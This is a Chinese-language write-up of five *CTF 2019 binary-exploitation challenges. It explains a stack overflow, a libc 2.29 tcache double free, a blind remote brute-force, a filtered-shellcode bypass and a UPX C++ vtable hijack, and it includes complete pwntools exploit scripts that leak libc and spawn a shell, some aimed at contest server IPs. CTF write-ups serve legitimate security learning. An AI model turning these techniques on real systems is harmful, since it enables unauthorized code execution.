starctf2019–pwn WriteUp
pwn
quicksort
gets危险函数明显栈溢出,s与ptr的距离是0x1c,可以通过gets函数直接改写ptr来泄露地址,利用puts泄露libc地址,然后再改写__stack_chk_fail_got直接getshell。
详细代码如下:
from pwn import *
local = 0
if local:
p = process("./quicksort")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
else:
p = remote("34.92.96.238",10000)
libc = ELF("libc.so.6")
elf = ELF("quicksort")
atoi_got = 0x0804A038
free_got = elf.got["free"]
print hex(free_got)
free_plt = elf.plt["free"]
puts_plt = elf.plt["puts"]
__stack_chk_fail_got = elf.got["__stack_chk_fail"]
print hex(__stack_chk_fail_got)
start = 0x080489C9
bss = 0x0804A0b0
def exp():
p.recv()
p.sendline(str(2))
p.recv()
payload = str(puts_plt)
payload = payload.ljust(0x10,"\x00")
payload += p32(0x64) + p32(0) + p32(0) + p32(free_got)
p.sendline(payload)
p.recv()
payload = str(start)
payload = payload.ljust(0x10,"\x00")
payload += p32(0x64) + p32(0) + p32(0) + p32(__stack_chk_fail_got)
p.sendline(payload)
p.recv()
payload = str(puts_plt)
payload = payload.ljust(0x10,"\x00")
payload += p32(0x0) + p32(0) + p32(0) + p32(free_got) + "aaaa"
p.sendline(payload)
p.recvuntil(":\n\n")
p.recvn(4)
data = u32(p.recvn(4))
libc_base = data - libc.symbols["getchar"]
system = libc_base + libc.symbols["system"]
binsh = libc_base +next(libc.search('/bin/sh'))
print hex(data)
print hex(libc_base)
print hex(system)
print hex(binsh)
p.recv()
p.sendline(str(2))
p.recv()
payload = str(puts_plt)
payload = payload.ljust(0x10,"\x00")
payload += p32(0x64) + p32(0) + p32(0) + p32(__stack_chk_fail_got)
p.sendline(payload)
#gdb.attach(p,"b *0x8048920")
p.recv()
payload = str(puts_plt)
payload = payload.ljust(0x10,"\x00")
payload += p32(0x0) + p32(0) + p32(0) + p32(bss) + "aaaa" +"bbbb" + "cccc" + "dddd"+ p32(system) + p32(0) + p32(binsh)
p.sendline(payload)
p.interactive()
exp()
girlfriend
这道题的bug不难找,直接就是释放后没有删除指针可以进行double free。但是难点在于环境是libc2.29,这道题的环境是在ubuntu19.04下做了,比赛的时候辗转16.04和18.04都很难受,后来专门查了libc2.29的特点是,在free 放到tcache里面的时候检查了double free,但是当我们可以用tcache链表大小只有7个的特点,先把他填满再做double free。下面我用调试的方法来解释这道题的做法,过程中可以体会到tcache的一些特殊的机制。
调试过程
首先是泄露地址,有两个办法,一个是申请一个大于0x408的再free就不会放到tcache上,而是放到smallbin(?)里面。另外一个是申请超过7个大于fastbin的堆块(9个),然后再free掉7个八tcache填满,再free两个的时候就会放到unsortedbin里面去,再show就有libc了。下面做一些相关知识介绍:
tcache有两个重要的函数, tcache_get()
和 tcache_put()
static void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
static void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
return (void *) e;
}
这两个函数的会在函数 _int_free
和 __libc_malloc
的开头被调用,其中 tcache_put
当所请求的分配大小不大于0x408
并且当给定大小的 tcache bin
未满时调用。一个 tcache bin
中的最大块数mp_.tcache_count
是7。
泄露地址:
# 法一:
create(0x440,"1"*0x100,"AAA") #0-8 #0 a big enough chunk won't in tcache.
create(0x18,"1"*0x100,"AAA") #1
free(0)
show(0)
p.recvuntil("name:\n")
leak = u64(p.recv(6).ljust(8,'\x00'))
libc.address = leak - (0x7fae5b0eeca0 - 0x7fae5af0a000)
one_gadget = libc.address + 0xdf991
free_hook = libc.sym['__free_hook']
malloc_hook = libc.sym['__malloc_hook']
system = libc.sym['system']
# 法二:
for i in range(9):
create(0x100,"1"*0x100,"AAA") #0-8
for i in range(9):
free(i)
show(7)
p.recvuntil("name:\n")
data = u64(p.recvuntil("\n",drop=True)+"\x00\x00")
利用思路:先创建多个堆块,再free只要达到把tcache的7个位置填满,然后还有剩余两个没有被free的堆块做double free就会把堆块放到fastbin上面去了,就可以成功double free了。此时堆的情况如下:
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x56340041e610 --> 0x56340041e580 --> 0x56340041e610 (overlap chunk with 0x56340041e610(freed) )
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x56340041ec90 (size : 0x20370)
last_remainder: 0x56340041e6a0 (size : 0x20)
unsortbin: 0x0
(0x70) tcache_entry[5](6): 0x56340041eb60 --> 0x56340041e500 --> 0x56340041e470 --> 0x56340041e3e0 --> 0x56340041e350 --> 0x56340041e2c0
double free:
for i in range(9):
create(0x68,"1"*0x68,"AAA") #3-11
for i in range(7):
free(i+3) # 3-9
create(0x68,"1"*0x68,"AAA") #12
create(0x68,"1"*0x68,"AAA") #13
# fill the chunk
free(10)
free(11)
# double free
free(12)
free(13)
#pause()
free(12)
如果此时再创建新的chunk的话,会先从tcache里面去拿而不是fastbin里,所以要先add 7 个新的chunk,然后再劫持fd进行利用攻击。这里是直接malloc到__free_hook
,改__free_hook
为system然后free掉一个内容为/bin/sh\x00
的堆块即可getshell。
等等,你还有疑问?为什么能直接malloc到__free_hook
?不是会检查堆头吗?好吧其实是这样的,当add完七个chunk之后再创建新的chunk的时候,它会去fastbin去找,当找到一个适合的时候,他会把整个链表到全部放到tcache里面,并把fastbin清空。所以当后面分配的时候其实就是通过tcache分配,而tcache分配又有一个特点就是他不会检查堆头,所以我们分配到哪里都可以的啦。
利用:
for i in range(7):
create(0x68,"1"*0x68,"AAA") # 14-20 add 7 tcache chunk
create(0x68,p64(free_hook),"AAA") #21
create(0x68,"3"*0x60,"AAA") #22
create(0x68,"/bin/sh\x00","AAA") #23
create(0x68,p64(system),"AAA") #24
free(23)
下面做一些知识介绍:
关于内存申请: 在内存分配的 malloc 函数中有多处,会将内存块移入 tcache 中。 (1)首先,申请的内存块符合 fastbin 大小时并且找到在 fastbin 内找到可用的空闲块时,会把该 fastbin 链上的其他内存块放入 tcache 中。 (2)其次,申请的内存块符合 smallbin 大小时并且找到在 smallbin 内找到可用的空闲块时,会把该 smallbin 链上的其他内存块放入 tcache 中。 (3)当在 unsorted bin 链上循环处理时,当找到大小合适的链时,并不直接返回,而是先放到 tcache 中,继续处理。
关于内存申请的检查部分: 当tcache存在时,释放堆块没有对堆块的前后堆块进行合法性校验,只需要构造本块对齐就可以成功将任意构造的堆块释放到tcache中,而在申请时,tcache对内部大小合适的堆块也是直接分配的,并且对于在tcache内任意大小的堆块管理方式是一样的,导致常见的house_of_spirit可以延伸到smallbin。
详细代码如下:
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
local = 1
if local:
p = process("./chall")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
p = remote("34.92.96.238",10001)
#libc = ELF("libc.so.6")
elf = ELF("chall")
def create(size,name,call):
p.recvuntil("choice:")
p.sendline("1")
p.recvuntil("name\n")
p.sendline(str(size))
p.recvuntil("name:\n")
p.send(name)
p.recvuntil("call:\n")
p.send(call)
sleep(0.1)
def show(index):
p.recvuntil("choice:")
p.sendline("2")
p.recvuntil("index:\n")
p.sendline(str(index))
def free(index):
p.recvuntil("choice:")
p.sendline("4")
p.recvuntil("index:\n")
p.sendline(str(index))
'''
debug info
bb 0xCB9
bb 0xEEC
'''
create(0x440,"1"*0x100,"AAA") #0-8 #0 a big enough chunk won't in tcache.
create(0x18,"1"*0x100,"AAA") #1
free(0)
show(0)
p.recvuntil("name:\n")
leak = u64(p.recv(6).ljust(8,'\x00'))
libc.address = leak - (0x7fae5b0eeca0 - 0x7fae5af0a000)
one_gadget = libc.address + 0xdf991
free_hook = libc.sym['__free_hook']
malloc_hook = libc.sym['__malloc_hook']
system = libc.sym['system']
print("[+] leak: " + str(hex(leak)))
print("[+] leak: " + str(hex(libc.address)))
print("[+] one_gadget: " + str(hex(one_gadget)))
print("[+] system: " + str(hex(libc.sym['system'])))
print("[+] free_hook: " + str(hex(libc.sym['__free_hook'])))
print("[+] malloc_hook: " + str(hex(libc.sym['__malloc_hook'])))
create(0x440,"1"*0x100,"AAA") #2 fill it
#pause()
for i in range(9):
create(0x68,"1"*0x68,"AAA") #3-11
for i in range(7):
free(i+3) # 3-9
create(0x68,"1"*0x68,"AAA") #12
create(0x68,"1"*0x68,"AAA") #13
# fill the chunk
free(10)
free(11)
# double free
free(12)
free(13)
#pause()
free(12)
for i in range(7):
create(0x68,"1"*0x68,"AAA") # 14-20 add 7 tcache chunk
pause()
create(0x68,p64(free_hook),"AAA") #21
create(0x68,"3"*0x60,"AAA") #22
create(0x68,"/bin/sh\x00","AAA") #23
create(0x68,p64(system),"AAA") #24
free(23)
p.interactive()
blindpwn
这是一道没有给程序的盲pwn,主要思路就是通过爆破低位来找到返回值特殊的值,比如打印两次提示,打印栈上内容等来找到调用read的地方,找到返回值,找到初始地址。下面给出爆破程序:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = "debug"
i = 0x11
"""
07 : \x0a \x0f \x14 \x76 \x20 \x07 \x40 \x70 \x05 \x40
05 : \x15 \x1c \x1e \xf \x20 \x21 \x26
"""
while i < 256:
while True:
try:
p = remote("34.92.37.22",10000)
break
except:
continue
p.recv()
payload = "a"*40+p64(0x400520)+p64(0x400776)*i
p.send(payload)
print chr(i).encode("hex")
try:
sleep(1)
data = p.recv()
if len(data)>0x1b:
i = i + 1
print len(data)
print data
p.close()
continue
else:
i = i + 1
p.close()
continue
except:
i = i + 1
p.close()
continue
print i
通过爆破可以知道得到有几个地址可以泄露栈上内容的,即可以得到libc的,再而如果能同时泄露并能返回到read让我们再读入一次就能成功getshell了。之后我们得到两个比较特殊的地址分别是0x400520和0x400776,他们两个相差距离,根据经验和打印的内容,可以猜测因为rsi没有改变,而rdx(打印长度)为0x100,刚好就是read的时候的长度,所以0x400520可能是write或者是某个打印函数的plt表,0x400776则是在程序段中code段的call调用函数,然后做了一些尝试,如下构造可以泄露并二次输入,最后第二次输入的时候直接one_gadget即可。
p = remote("34.92.37.22",10000)
p.recv()
payload = "a"*40+p64(0x400520)+p64(0x400776)*17
p.send(payload)
p.recvuntil("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
data1 = p.recvn(0xa8)
data2 = u64(p.recvn(8))
print hex(data2)
libc_base = data2 - 0x5f1168
one_shot = libc_base + 0xf02a4
sleep(1)
p.recvuntil("elcome to this blind pwn!\n")
payload = "b"*40 + p64(one_shot) + p64(0)*0x30
p.send(payload)
p.interactive()
babyshell
题目mmap分配了一段rwx权限的内存块出来,并可以读取0x100的内容(shellcode),最后执行该buf的内容。在执行之前会检查我们的shellcode是否满足他的要求,即要求用题目给出的机器码组成shellcode来执行,其中过滤了“/”,“b”还有“\x48”等重要的机器码。要求使用的机器码如下:
[0x5A, 0x5A, 0x4A, 0x20, 0x6C, 0x6F, 0x76, 0x65, 0x73, 0x20, 0x73, 0x68, 0x65, 0x6C, 0x6C, 0x5F, 0x63, 0x6F, 0x64, 0x65, 0x2C, 0x61, 0x6E, 0x64, 0x20, 0x68, 0x65, 0x72, 0x65, 0x20, 0x69, 0x73, 0x20, 0x61, 0x20, 0x67, 0x69, 0x66, 0x74, 0x3A, 0x0F, 0x05, 0x20, 0x65, 0x6E, 0x6A, 0x6F, 0x79, 0x20, 0x69, 0x74, 0x21, 0x0A]
但是我们有push有pop还有syscall,就能控制一些寄存器,但是我们不能控制rax。然后因为刚程序中调用完read,我们就可以先执行read的syscall,再调用一次读入,好处在于第二次读入的时候就不需要做检查,即绕过的题目的要求,这样我们第二次读入的东西就没有限制了。就可以直接getshell。
详细代码如下:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
p = process("shellcode")
#p = remote("34.92.37.22",10002)
shellcode = "\x6a\x79\x5a\x6a\x00\x5f\x0f\x05"
gdb.attach(p," b *0x4008cb")
print shellcode.encode("hex")
p.recv()
p.send(shellcode)
pause()
sleep(0.1)
payload = "/bin/sh\x00" + "\x56\x5f\x6a\x00\x5e\x6a\x00\x5a\x0f\x05"
payload = payload.ljust(0x3b,"\x00")
p.send(payload)
p.interactive()
upxofcpp
参考链接:https://github.com/sixstars/starctf2019/tree/master/pwn-upxofcpp https://xz.aliyun.com/t/5006#toc-14
这道题在比赛的时候没有做出来,其中主要是看cpp代码很难受,不过也算看懂了大概,但是实在是没有注意到heap还是rwx的。。。 小知识点: 用upx打包的程序,你会发现许多rwx内存区域,包括堆(加壳的程序中堆是rwx的) Refer : https://github.com/upx/upx/issues/81
利用思路
- upx加壳,主程序空间可读可写可执行
- free的时候没有清空指针
- node结构体中存在指向函数调用的func_table,通过构造使得func_table指到堆,使得*func_table的show函数指向堆上,在show函数指向的堆上构造shellcode
- 补充:主要是伪造vtable,通过free之后的fastbin指向地址伪造vtable,其中vtable地址偏移0x10就是call show的相关函数,劫持这个0x10的偏移位heap地址,即劫持到show的控制流从而跳转到heap上去执行代码,而heap上市rwx所以就可以直接执行shellcode
下面是vtable的情况:
.data.rel.ro:0000000000202DB8 vtable dq offset default ; DATA XREF: add+1B9↑o
.data.rel.ro:0000000000202DC0 dq offset remove_helper
.data.rel.ro:0000000000202DC8 dq offset show_helper
调试方法
使用加壳的文件getshell,使用已经脱壳的文件进行调试即可。
调试过程
new(0,2,2)
p.sendlineafter('Your choice:','1')
p.sendlineafter('Index:','1')
p.sendlineafter('Size:',str(6))
'''
push rax
pop rsi
push rcx
push rcx
pop rax
pop rdi
syscall
'''
payload = '0\n'*2 + str(0x51515e50)+'\n' + str(0x53415f58)+'\n' + str(0x00050f5a) +'\n' + str(0xdead)+'\n'
p.sendafter('Input 6 integers, -1 to stop:',payload)
new(2,2,2)
before free(1)
gdb-peda$ x /30xg 0x5616d5cfec10
0x5616d5cfec10: 0x0000000000000000 0x0000000000000021
0x5616d5cfec20: 0x00005616d4a56db8 0x00005616d5cfec40
0x5616d5cfec30: 0x0000000000000002 0x0000000000000021
0x5616d5cfec40: 0x0000000200000002 0x0000000000000000
0x5616d5cfec50: 0x0000000000000000 0x0000000000000021
0x5616d5cfec60: 0x00005616d4a56db8 0x00005616d5cfec80
0x5616d5cfec70: 0x0000000000000006 0x0000000000000021
0x5616d5cfec80: 0x0000000000000000 0x53415f5851515e50
0x5616d5cfec90: 0x0000dead00050f5a 0x0000000000000021
0x5616d5cfeca0: 0x00005616d4a56db8 0x00005616d5cfecc0
0x5616d5cfecb0: 0x0000000000000002 0x0000000000000021
0x5616d5cfecc0: 0x0000000200000002 0x0000000000000000
0x5616d5cfecd0: 0x0000000000000000 0x0000000000020331
0x5616d5cfece0: 0x0000000000000000 0x0000000000000000
0x5616d5cfecf0: 0x0000000000000000 0x0000000000000000
after free(1)
gdb-peda$ x /30xg 0x5616d5cfec10
0x5616d5cfec10: 0x0000000000000000 0x0000000000000021
0x5616d5cfec20: 0x00005616d4a56db8 0x00005616d5cfec40
0x5616d5cfec30: 0x0000000000000002 0x0000000000000021
0x5616d5cfec40: 0x0000000200000002 0x0000000000000000
0x5616d5cfec50: 0x0000000000000000 0x0000000000000021
0x5616d5cfec60: 0x00005616d5cfec70 0x00005616d5cfec80
0x5616d5cfec70: 0x0000000000000006 0x0000000000000021
0x5616d5cfec80: 0x0000000000000000 0x53415f5851515e50
0x5616d5cfec90: 0x0000dead00050f5a 0x0000000000000021
0x5616d5cfeca0: 0x00005616d4a56db8 0x00005616d5cfecc0
0x5616d5cfecb0: 0x0000000000000002 0x0000000000000021
0x5616d5cfecc0: 0x0000000200000002 0x0000000000000000
0x5616d5cfecd0: 0x0000000000000000 0x0000000000020331
0x5616d5cfece0: 0x0000000000000000 0x0000000000000000
0x5616d5cfecf0: 0x0000000000000000 0x0000000000000000
after free(0)
gdb-peda$ x /50xg 0x5616d5cfec10
0x5616d5cfec10: 0x0000000000000000 0x0000000000000021
0x5616d5cfec20: 0x00005616d5cfec30 0x00005616d5cfec40
0x5616d5cfec30: 0x0000000000000002 0x0000000000000021
0x5616d5cfec40: 0x00005616d5cfec70 0x0000000000000000
0x5616d5cfec50: 0x0000000000000000 0x0000000000000021
0x5616d5cfec60: 0x00005616d4a56db8 0x00005616d5cfece0
0x5616d5cfec70: 0x0000000000000008 0x0000000000000021
0x5616d5cfec80: 0x0000000000000000 0x53415f5851515e50
0x5616d5cfec90: 0x0000dead00050f5a 0x0000000000000021
0x5616d5cfeca0: 0x00005616d4a56db8 0x00005616d5cfecc0
0x5616d5cfecb0: 0x0000000000000002 0x0000000000000021
0x5616d5cfecc0: 0x0000000200000002 0x0000000000000000
0x5616d5cfecd0: 0x0000000000000000 0x0000000000000031
0x5616d5cfece0: 0x0000000200000002 0x0000000200000002
0x5616d5cfecf0: 0x0000000200000002 0x0000000200000002
0x5616d5cfed00: 0x0000000000000000 0x0000000000020301
利用程序:
free(1)
new(3,8,2)
free(0)
show(0)
最后再覆盖写一次syscall读东西到heap上执行完后直接getshell,这一步主要是方面写shellcode,不用拆成几个int来一点点写。
p.send('\x90'*0x90 + asm(shellcraft.sh()))
把文件改成没有脱壳的文件,运行成功getshell。